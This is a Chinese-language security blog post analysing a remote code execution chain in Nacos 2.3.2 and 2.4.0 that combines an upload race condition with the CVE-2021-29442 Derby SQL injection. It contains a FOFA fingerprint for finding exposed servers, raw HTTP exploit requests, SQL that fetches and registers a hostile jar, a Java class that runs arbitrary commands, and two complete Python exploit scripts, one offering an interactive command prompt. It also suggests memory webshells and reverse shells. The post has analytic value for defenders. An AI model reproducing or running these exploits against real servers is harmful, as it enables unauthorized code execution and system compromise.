Nacos RCE漏洞分析、复现及不出网利用姿势
2024-7-18 14:25:33 Author: mp.weixin.qq.com(查看原文) 阅读量:374 收藏

再不蹭热点就凉啦~

--vvmdx

  • 0x01 简介

  • 0x02 涉及软件

  • 0x03 检索指纹

  • 0x04 漏洞分析

    • 执行用户上传的文件

    • 条件竞争

    • SQL注入

  • 0x05 漏洞复现

  • 0x06 不出网利用姿势

    • 准备

    • 基于FUNCTION的不出网利用

    • 基于PROCEDURE的不出网利用

  • 0x07 延伸场景及总结

0x01 简介

Nacos(全称为 “Naming and Configuration Service”)是一个开源的分布式服务发现和配置管理平台,由阿里巴巴集团开发并开源。Nacos 提供了服务注册、发现、配置管理、动态 DNS 服务等功能,可帮助开发者构建弹性的、高可用的微服务架构。

0x02 涉及软件

nacos2.3.2nacos2.4.0

0x03 检索指纹

fofa: app="NACOS"

0x04 漏洞分析

环境搭建:

git clone https://github.com/nacos-group/nacos-docker.gitcd nacos-dockerdocker-compose -f example/standalone-derby.yaml up

该漏洞最早于2020年出现在https://github.com/alibaba/nacos/issues/4463 当时官方不认这个漏洞,认为是特性,默认的docker也没加鉴权,当时这个漏洞主要用于未授权查询SQL,现在配合另一个可造成命令执行的漏洞。

该漏洞有两个利用条件:

  1. 配合条件竞争执行恶意SQL,加载恶意jar并注册函数
  2. 利用2020年的nacos derby sql注入漏洞(CVE-2021-29442)调用恶意函数拿到回显结果

执行用户上传的文件

最新代码存在第二行鉴权行,然而最新版本的官方docker默认配置也不加鉴权

@PostMapping(value = "/data/removal")@Secured(action = ActionTypes.WRITE, resource = "nacos/admin")public DeferredResult<RestResult<String>> importDerby(@RequestParam(value = "file") MultipartFile multipartFile) {    DeferredResult<RestResult<String>> response = new DeferredResult<>();    if (!DatasourceConfiguration.isEmbeddedStorage()) {        response.setResult(RestResultUtils.failed("Limited to embedded storage mode"));        return response;    }    DatabaseOperate databaseOperate = ApplicationUtils.getBean(DatabaseOperate.class);    WebUtils.onFileUpload(multipartFile, file -> {        NotifyCenter.publishEvent(new DerbyImportEvent(false));        databaseOperate.dataImport(file).whenComplete((result, ex) -> {            NotifyCenter.publishEvent(new DerbyImportEvent(true));            if (Objects.nonNull(ex)) {                response.setResult(RestResultUtils.failed(ex.getMessage()));                return;            }            response.setResult(result);        });    }, response);    return response;}

条件竞争

/data/removal接口进行文件上传时,会创建临时文件记录数据,随后删除,关键函数为这个onFileUpload函数

public static void onFileUpload(MultipartFile multipartFile, Consumer<File> consumer,            DeferredResult<RestResult<String>> response) {                if (Objects.isNull(multipartFile) || multipartFile.isEmpty()) {            response.setResult(RestResultUtils.failed("File is empty"));            return;        }        File tmpFile = null;        try {            tmpFile = DiskUtils.createTmpFile(multipartFile.getName(), TMP_SUFFIX);            multipartFile.transferTo(tmpFile);            consumer.accept(tmpFile);        } catch (Throwable ex) {            if (!response.isSetOrExpired()) {                response.setResult(RestResultUtils.failed(ex.getMessage()));            }        } finally {            DiskUtils.deleteQuietly(tmpFile);        }    }

这里用了类似生产-消费者的模式:

  • 生产者会产生/tmp下的临时数据包,删除数据包的几个过程,消费者对取到的数据包进行导入数据库操作
  • 个人理解这里的消费者操作是异步的,且代码中没有看到任何锁的机制
  • 导入数据慢,删除数据快,消费者获取到的数据包很可能已经被删除了,呈现出我们直接访问接口上传恶意数据通常会报”找不到文件错误“
  • 通过大并发发包,我们产生了大量的文件句柄,使得系统在删除对应的句柄时出现了迟缓,提高了消费者在数据删除前导入数据的机会,可以让消费者成功取到几次数据,实现恶意jar包的导入、从而导致恶意函数的创建。

条件竞争失败则返回

{"code":500,"message":"File '/tmp/file3339752271242765906.tmp' does not exist","data":null}

条件竞争成功则返回

{"code":200,"message":null,"data":""}

重复多次成功则返回already exists

{"code":500,"message":"org.springframework.dao.DataIntegrityViolationException: StatementCallback; SQL [CALL sqlj.install_jar('http://ip:port/download', 'NACOS.hPbTQwag', 0);         CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.hPbTQwag');         CREATE FUNCTION S_EXAMPLE_hPbTQwag( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec']; Jar file 'HPBTQWAG' already exists in Schema 'NACOS'.; nested exception is java.sql.BatchUpdateException: Jar file 'HPBTQWAG' already exists in Schema 'NACOS'.","data":null}

SQL注入

SQL注入发生点则是一个2020年的漏洞(CVE-2021-29442),允许我们任意select,最新代码多了第二行鉴权行,然而默认最新版本的官方docker也不加鉴权,这也是风险所在

@GetMapping(value = "/derby")@Secured(action = ActionTypes.READ, resource = "nacos/admin") //鉴权行public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {    String selectSign = "SELECT";    String limitSign = "ROWS FETCH NEXT";    String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY";    try {        if (!DatasourceConfiguration.isEmbeddedStorage()) {            return RestResultUtils.failed("The current storage mode is not Derby");        }        LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource            .getInstance().getDataSource();        if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {            if (!StringUtils.containsIgnoreCase(sql, limitSign)) {                sql += limit;            }            JdbcTemplate template = dataSourceService.getJdbcTemplate();            List<Map<String, Object>> result = template.queryForList(sql);            return RestResultUtils.success(result);        }        return RestResultUtils.failed("Only query statements are allowed to be executed");    } catch (Exception e) {        return RestResultUtils.failed(e.getMessage());    }}
/nacos/v1/cs/ops/derby/nacos/v1/cs/ops/data/removal在使用Derby数据库作为内置数据源时,用于运维人员进行数据运维和问题排查
  • derby接口可以做select查询
  • removal接口的本意应该是用于运维人员做数据迁移导入数据用的,在此漏洞的利用过程中,其提供了执行任意多条sql语句的作用,唯一疑惑的是这个接口在上传SQL代码时是概率性成功的,似乎不像一个正常功能
官方在7月16日发布了有关这些接口的公告[4],主要也在强调鉴权的重要性

0x05 漏洞复现

首先需要配合条件竞争执行恶意sql,加载jar包并注册函数

请求包(需要网络环境较好的场景,通常需要重复发包100甚至上千次左右)直到结果返回success

POST /nacos/v1/cs/ops/data/removal HTTP/1.1Host: 127.0.0.1:8848User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: */*Connection: keep-aliveContent-Length: 496Content-Type: multipart/form-data; boundary=80d34d17b69db69702aa0eb666e2f7fb
--80d34d17b69db69702aa0eb666e2f7fbContent-Disposition: form-data; name="file"; filename="file"
CALL sqlj.install_jar('http://127.0.0.1:5001/download', 'NACOS.hPbTQwag', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.hPbTQwag')
CREATE FUNCTION S_EXAMPLE_hPbTQwag( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
--80d34d17b69db69702aa0eb666e2f7fb--

执行完上传文件的恶意sql后,就可以用CVE-2021-29442执行UDF函数实现RCE

GET /nacos/v1/cs/ops/derby?sql=select+%2A+from+%28select+count%28%2A%29+as+b%2C+S_EXAMPLE_hPbTQwag%28%27whoami%27%29+as+a+from+config_info%29+tmp+%2F%2AROWS+FETCH+NEXT%2A%2F HTTP/1.1Host: 127.0.0.1:8848User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: */*Connection: keep-alive

0x06 不出网利用姿势

准备

接收参数并执行命令的类,测试时发现data/removal接口不可返回内容,因此需要使用void的静态方法,否则CALL的时候会报错

恶意类:用于接收传参并执行命令

package example;public class Test {    public static void main(String[] args) {    }    public static void exec(String cmd) {        StringBuffer bf = new StringBuffer();        try {            Process p = Runtime.getRuntime().exec(cmd);        } catch (Exception var10) {        }    }}

src/META-INF/manifest.txt

Manifest-Version: 1.0  Main-Class: example.Test

编译、打包、编码

javac src/example/Test.javajar -cvf payload.jar -C src/ .cat payload.jar|base64

最终jar包目录结构:

├── payload.jar└── src    ├── META-INF    │   └── manifest.txt    └── example        ├── Test.class        └── Test.java

基于FUNCTION的不出网利用

条件:需要两个接口有权访问

原理:利用SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE写文件到本地再加载,实现不出网利用(使用方法参考derby官网文档[2])

import random, osimport requestsfrom urllib.parse import urljoinimport base64
payload = b'' // 准备阶段获得的base64编码payload = base64.b64decode(payload).hex()def exploit(target): removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal') derby_url = urljoin(target, '/nacos/v1/cs/ops/derby') now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8)) jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8)) for i in range(1,10000): if i % 100 == 0: print(i // 100) post_sql = """ CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values CAST (X''{payload}'' AS BLOB)', '/tmp/{junk}.dat', ',' ,'"', 'UTF-8', '/tmp/{jar_name}.jar') CALL sqlj.install_jar('/tmp/{jar_name}.jar', 'NACOS.{id}', 0) CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}') CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec' """.format(junk=os.urandom(3).hex(),payload=payload,id=now_id,jar_name=jar_name) files = {'file': post_sql} post_resp = requests.post(url=removal_url,files=files) post_json = post_resp.json() if post_json.get('message',None) is None and post_json.get('data',None) is not None: while True: command = input('>>>') get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=now_id,cmd=command) get_resp = requests.get(url=derby_url,params={'sql':get_sql}) print(get_resp.json())

if __name__ == '__main__': target = 'http://127.0.0.1:8848' exploit(target=target)

基于PROCEDURE的不出网利用

条件:只需要data/removal有权访问

该方法可以用于某些只拦截/derbysql查询接口的waf

这个方法最早出现在lvyyevd的博客[1]中,原理是创建一个Java存储过程,而后可以调用类的静态方法
使用方法:derby官网文档[3]

import random, osimport requestsfrom urllib.parse import urljoinimport base64
payload = b''payload = base64.b64decode(payload).hex()
def exploit(target): removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal') now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ' * 2,8)) now_table = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ' * 2,8)) jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ' * 2,8)) for i in range(1,10000): if i % 100 == 0: print(i) post_sql = """ CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values CAST (X''{payload}'' AS BLOB)', '/tmp/{junk}.dat', ',' ,'"', 'UTF-8', '/tmp/{jar}.jar') CALL sqlj.install_jar('/tmp/{jar}.jar', 'NACOS.{id}', 0) CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}') CREATE PROCEDURE {table}(PARAM VARCHAR(200)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'example.Test.exec' CALL {table}('touch /tmp/666')\n""".format(junk=os.urandom(3).hex(),table=now_table,payload=payload,id=now_id,jar=jar_name) files = {'file': post_sql} post_resp = requests.post(url=removal_url,files=files) if not post_resp.json()['message'].startswith('File'): print(post_resp.json())
if __name__ == '__main__': target = 'http://127.0.0.1:8848' exploit(target=target)

0x07 延伸场景及总结

  1. 该漏洞配合未授权漏洞可以实现命令执行(默认不改配置则不鉴权)
  2. 配合nacos的任意用户创建漏洞/弱口令等实现授权后的命令执行
  3. nacos多了一条执行命令的链路
  4. 修改jar包可直接注入内存马,更贴合实战
  5. 理论上部分出网场景中调第一个removal函数直接反弹shell也可

参考

[1].http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce

[2].https://db.apache.org/derby/docs/10.14/ref/rrefexportselectionproclobs.html

[3].https://db.apache.org/derby/docs/10.14/ref/rrefcreateprocedurestatement.html

[4].https://nacos.io/blog/announcement-derby-ops-api/?source=news_announcement/


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg2MDY2ODc5MA==&mid=2247484000&idx=1&sn=6139011e269c9412277398cb88dcf7e2&chksm=ce239479f9541d6fbabdee61d583c21a8b101458156197e2fcd6e7b764d320f47a86af0e2150&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh